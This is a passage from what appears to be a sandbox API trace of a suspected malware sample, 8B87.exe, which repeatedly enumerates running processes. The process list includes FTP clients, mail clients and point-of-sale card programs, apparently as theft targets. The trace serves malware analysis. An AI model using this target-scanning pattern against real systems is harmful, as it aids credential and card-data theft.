(in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0277.116] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0277.118] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0277.120] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0277.122] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0277.124] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0277.126] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0277.158] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0277.160] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0277.162] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0277.164] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0277.166] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0277.169] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0277.171] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0277.173] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0277.176] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0277.179] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0277.181] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0277.184] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0277.186] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0277.188] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0277.191] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0277.193] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0277.195] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0277.198] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0277.201] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0277.203] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0277.206] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0277.208] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0277.215] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0277.218] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0277.221] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0277.224] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0277.227] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0277.229] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0277.232] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0277.235] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0277.238] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0277.240] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0277.242] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0277.245] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0277.247] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0277.249] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0277.251] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0277.253] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0277.255] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0277.257] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0277.259] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0277.261] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.263] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0277.304] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.307] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0277.310] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0277.313] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.316] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0277.319] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0277.322] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0277.325] CloseHandle (hObject=0x1978) returned 1 [0277.325] Sleep (dwMilliseconds=0x64) [0277.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0277.355] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.358] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.361] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.364] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.367] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.369] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.372] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.378] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.383] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.400] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.407] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.454] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.459] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.462] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.465] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.469] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.471] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.475] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.478] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.480] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.483] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.487] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.490] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.493] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.497] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.500] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, 